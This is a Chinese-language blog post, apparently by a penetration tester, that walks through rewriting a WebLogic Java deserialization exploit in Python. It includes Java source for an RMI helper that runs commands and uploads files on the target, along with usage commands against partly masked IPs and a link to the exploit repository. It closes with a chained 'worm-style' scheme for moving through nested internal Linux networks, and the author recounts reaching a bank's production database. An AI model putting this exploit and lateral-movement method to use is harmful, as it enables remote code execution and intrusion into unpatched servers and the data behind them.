本文目录

关键字: Weblogic、反序列化漏洞、EXP

0x01. 简介

从国内开始讨论分析WeblogicJbossWebsphere等中间件存在JAVA反序列化漏洞至今,已经过了大半年了。JAVA反序列化漏洞利用已经平民化的今天,每一个白帽子手里都有2-3个神器供自己做安全测试时使用。在内网渗透测试中,遇到有以下一种或多种复杂情况时现有的exp就毫无招架之力了:

1、  目标受网络设备限制,不能能成功端口转发、代理,仅有Web端口能进出。

2、  目标以及目标所在内网环境均为LinuxUnix服务器。

3、  通过各种手段,只能拿到反弹shell或者webshell

 

上面是我暂时能想得到的以存在Weblogic反序列化漏洞的目标作为内网渗透入口时会遇到的尴尬的情况。因为实际需要,我改写了一个Python版本的Weblogic反序列化漏洞的EXP,本篇文章记录的是我如何改写我们团队Bird牛的Weblogic利用的EXP工具为Python版,也感谢Bird牛的提供的源码以供我分析和实现自己的小工具,这在之前的客户的渗透项目中起了大用处(PS: 第一次直捣xx银行生产数据库)

0x02. 思路及实现

改写的 Weblogic EXP同样满足4个功能需要,分别如下:

1、  连接目标:输入目标Ip、端口、尝试利用两种方式,上传payload到服务器。

2、  上传文件:输入目标上文件保存路径,本地文件路径,能够上传文件。

3、  执行命令:输入命令,执行命令并回显。

4、  断开连接:清空目标服务器上的临时文件,关闭连接,退出程序。

EXP使用Python编程实现,使用Socket模拟T3协议过程,实现上传payload和后续操作具体实现如下(PS:只对exp感兴趣的直接跳到第3节使用说明)。

1. 连接目标

连接目标其实就是构造payload,发送精心构造的payload利用weblogic反序列化漏洞的过程。我通过本地调试和抓包抓出了BirdExp中关键的payload,我将payload归纳定义为下面的变量:

使用Socket利用方式的payload:

1.     payload_socket_win_init

2.     payload_socket_win_open_port

3.     payload_socket_linux_init

4.     payload_socket_linux_open_port

 

使用RMI利用方式的payload:

1.     payload_rmi_win_init

2.     payload_rmi_win_class

3.     payload_rmi_linux_ini

4.     payload_rmi_linux_class

我们首先利用socket模拟T3协议将我们构造的用于执行命令,开启Socket服务器的payload(封装在T3协议里的构造的执行命令或开启socket服务端的序列化后的字节流)发送到目标的console端口,weblogic中间件在反序列化时把用于执行命令、开启socket服务的字节序列写入到了指定的路径下。然后第二次模拟T3协议过程,将之前上传的字节序列反序列化并利用反射机制执行上传文件、命令执行、开启socket服务器等操作。

定义socket方法如下:

1.png

58行代码是模拟T3协议头,如果目标端口允许T3协议进行数据传输,就会返回这样的字符串:

HELO:10.3.5.0.false

AS:2048

HL:19

HELO表示目标接收T3协议冒号后面紧跟着weblogic版本,判断HELO字符串在socket接收到的响应里就可以进行下一步了。

下一步就是封装好的T3协议数据流,这里的payload_type传输参是这样的:

2.png

72行是程序的执行入口

73——74行获取我们输入目标IP或域名,获取目标端口

我将exp拆分为了对windows系统和对linux系统利用的独立脚本, 每一个脚本都包括了socketRMI方式的利用手段,具体的payload的就不在文章中附上了,可以在脚本工具里面去看。

3.png

Payload是我通过像上面截图里调试输出代码的方式,取出来的通用payloadexp实现的socketrmi方式,针对linuxwindows的一共8payload,都在我的exp脚本里面。

ExpSocket利用方式默认以65500端口作为Socket服务器的监听端口。

 

测试windows目标:

Weblogic10.3.5版本

效果:

    连接脚本目标目标之前:

4.png

连接之后:

 5.png

在目标的Temp临时目录下面成功写入了payload文件,同时exp成功执行whoami查的了当前用户。

2. 执行命令

执行命令有两种方式,一种是通过Socket方式将执行的命令以格式:cmd:::命令发送到目标启动的Socket服务端,如下面截图:

6.png

二是通过RMI方式,经过我多很久的研究也没法在Python下模拟JAVA实现RMI方式的调用,所以只能用JAVA写了一个辅助使用的JAR包来完成RMI方式的利用,我们使用JAVA命令调用辅助jar文件来让目标执行我们的命令。(安装weblogic中间件时会自带安装JAVA的,不存在目标服务器上不能执行java命令的情况。)

实现代码大概如下:

 

public class JavaExp {
    
    private static String remoteWindowsPath = "/c:/windows/temp/H3y5ec.tmp";
    private static String remoteLinuxPath = "/tmp/H3y5ec.tmp";  
    private static String Notices = ""
            + "用法:\n"
            + "1.一句话命令执行:\n"
            + "例子:java exp.jar 127.0.0.1 7001 'net user'\n"
            + "2.文件上传\n"
            + "例子:java exp.jar 127.0.0.1 7001 upload '本地文件绝对路径' '远程目标文件绝对路径'\n";
    private static RemoteObject remote;
    public static void main(String[] args) throws NamingException {
        if(args.length <3){
            System.out.println("参数错误!!\n");
            System.out.println(Notices);
            System.exit(0);
        }
            String host = args[0];
            String port = args[1];
            String order =  args[2];
            Hashtable<String, String> env = new Hashtable<String, String>();
            env.put("java.naming.factory.initial",
                    "weblogic.jndi.WLInitialContextFactory");
            env.put("java.naming.provider.url", "t3://"
                    +host+ ":" + port);
            try {
                Context ctx = new InitialContext(env);
                remote = (RemoteObject) ctx
                        .lookup("RemoteObject");
            try {
                if("unbind".equals(order)){
                    try {
                        remote.unbind(remoteWindowsPath);
                        remote.unbind(remoteLinuxPath);
                        System.out.println("unbind_OK");
                        return ;
                    } catch (Exception e) {
                    }
                }
                if("upload".equals(order)){
                    if(args.length <5){
                        System.out.println("参数错误!!\n");
                        System.out.println(Notices);
                        System.exit(0);
                    }
                    String localfilePath =  args[3];
                    String remotefilePath = args[4];
                    
                    UploadFile(localfilePath,remotefilePath);
                }else{
                    String result = remote.exec(order);
                    System.out.print("result:\n"+result);   
                }
            } catch (Exception e) {
            }
        } catch (Exception e) {
            System.out.println("ConnectFailed");
        }
    }
    public static void UploadFile(final String localfilePath,final String remotefilePath){
        new Thread(new Runnable() {
            @Override
            public void run() {
                FileInputStream fileInputStream = null;
                try {
                    File file = new File(localfilePath);
                    fileInputStream = new FileInputStream(file);
                    long total = file.length();
                    byte[] data = new byte[100 * 1024];
                    double sendedLen = 0;
                    NumberFormat nf = NumberFormat.getPercentInstance();
                    int len = fileInputStream.read(data);
                        if (len != -1) {
                            if (remote.upload(remotefilePath,
                                    Arrays.copyOfRange(data, 0, len),
                                    false)) {
                                sendedLen = sendedLen + len;
                                System.out.println("上传中...已完成"
                                        + nf.format(sendedLen / total));
                                while ((len = fileInputStream
                                        .read(data)) != -1) {
                                    if (!remote.upload(remotefilePath,
                                            Arrays.copyOfRange(data, 0,
                                                    len), true)) {
                                        System.out.println("上传失败!");
                                        break;
                                    }
                                    sendedLen = sendedLen + len;
                                    System.out.println("上传中...已完成"
                                            + nf.format(sendedLen
                                                    / total));
                                }
                                if (len == -1) {
                                    System.out.println("上传成功!");
                                }
                            } else {
                                System.out.println("上传失败!");
                            }
                        } else {
                            System.out.println("上传失败!");
                        }
                } catch (Exception e) {
                    System.out.println("上传失败!");
                } finally {
                    try {
                        fileInputStream.close();
                    } catch (IOException e1) {
                    }
                }
            }
        }).start();
    }
}


从代码的实现功能来看,那么执行命令的调用就是这样的:

Java –jar xxxx.jar Ip port “command”

7.png

使用RMI方式调用上传文件的函数完成文件上传,上面的代码中UploadFile里面已经给了具体的实现,上传文件的调用和效果如下:

8.png

 

4. 断开连接

使用反注册类,将我们上传的payload临时文件清空。实现代码截图如下:

9.png

 

0x03. EXP使用手册

usage: win_weblogic_exp.py [-h] [-target TARGET] [-port PORT] [-cmd CMD]
                           [-lfile LFILE] [-rfile RFILE]
optional arguments:
-h, --help       show this help message and exit——查看帮助
  -target TARGET  the target ip or domain.——指定目标IP或域名
  -port PORT      the target port.——指定目标端口
  -cmd CMD      [init|command|bye|upload]——
选择类型:
Ø  init : exp会上传payload,尝试利用反序列化漏洞。
Ø  command: 执行一句话命令
Ø  bye: 断开目标,清空上传在目标服务器上的payload文件。
Ø  upload: 进入上传文件模式,后面必须补充lfile和rfile参数。
  -lfile LFILE      local file.——本地文件绝对路径。
  -rfile RFILE     remote file.——上传文件在目标服务器上保存的绝对路径。

1. 连接目标

用法:


python win_weblogic_exp.py -target 218.*.**.99 -port 7001 -cmd init

效果:

10.png

11.png

2.    执行一句话命令

用法:

python win_weblogic_exp.py -target 218.*.**.99 -port 7001 -cmd "cmd /c ipconfig"

12.png

13.png

3.    上传文件

使用py脚本用法:

python win_weblogic_exp.py -target 192.168.18.133 -port 7001 -cmd upload -lfile "E://boot.ini.txt" -rfile "C://boot.ini.txt"

或者使用辅助jar文件:

 

上传文件:

14.png

或者:

15.png

查看文件:

16.png

或者:

17.png

上传文件:

18.png

查看文件:

19.png

4.    断开目标

用法:

python win_weblogic_exp.py -target 192.168.18.133 -port 7001 -cmd bye

20.png

    21.png

0x04. 总结

写本轮子主要是为了方便在内网渗透测试时方便使用,现在网上流传的exp均是大牛们写的GUI版的带回显,不需要通外网的实现版本。当遇到全linux和不能远程桌面的windows内网时,想要进一步攻击内网中存在weblogic反序列化漏洞的服务器时,这个轮子就发挥了巨大作用。

总结一下造的这个轮子的功能。

1、  适用于Linux服务器(因为他们自带python环境,后面有空会再造个JAR版的EXP就通用于WindowsLinux了。)

2、  支持一句话命令执行。

3、  支持文件上传

 

PS: windowslinux攻击exp轮子会在文章最后附上,下面是一片瞎想。

    exp地址:https://github.com/coffeehb/Some-PoC-oR-ExP/tree/master/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E

0x05. 瞎想

突然冒出的想法:“蚯蚓式”攻击:

假如有这样的环境:A BCD…… N内网全是Linux服务器,他们分别是第一层、第二层、第三层、…… N层内网。

A ——B——C——D——…….N

A:是内网入口

B CD…..2层、3层、4….N层内网主机,都存在weblogic反序列化漏洞。

那么我们就可以用这个轮子,一层一层的把他们串起来。

1、  攻击者 VS 服务器A

python linux_weblogic_exp.py -target A_IP -port 7001 -cmd init

上传攻击EXP轮子到A服务器

python linux_weblogic_exp.py -target A_IP -port 7001 -cmd upload -lfile "攻击者电脑上exp" -rfile “A服务器上EXP”

2、  已沦陷的A服务器 VS B服务器

python win_weblogic_exp.py -target A_IP -port 7001 –cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port –cmd init”

 

控制A上传攻击EXP轮子到B服务器上

python win_weblogic_exp.py -target A_IP -port 7001 -cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port 7001 –cmd upload –lfile ‘A服务器上EXP ’ –rfile ‘B 服务器上EXP’”

3、  已沦陷的B服务器 VS C服务器

python linux_weblogic_exp.py -target A_IP -port 7001 -cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port 7001 –cmd ‘python /tmp/linux_weblogic_exp –target C_IP –port 7001 –cmd init’”

A服务器控制B服务器上传EXP轮子到C服务器

python linux_weblogic_exp.py -target A_IP -port 7001 -cmd “python /tmp/linux_weblogic_exp.py –target B_IP –port 7001 –cmd ‘python /tmp/linux_weblogic_exp –target C_IP –port 7001 –cmd upload –lfile ‘B服务器上EXP’ –rfile ‘C服务器上EXP’ ’”

4……不断往下个蚯蚓式攻击

 

上面的瞎想有可能成为现实,我之前遇到的全Linux内网环境,只有2层网络。也就是BCD都在第二层内网,我控制了A,通过A控制了第二层内网3-4Weblogic服务器,其中一个上面找到了连接核心数据库的配置,从而能够直达某网银生产数据库。这样的蚯蚓式攻击很绕也很复杂,当然能突破网络边界限制,端口转发或代理出来或映射过去能直达下一层网络,谁愿意这么费力去绕弯子啊??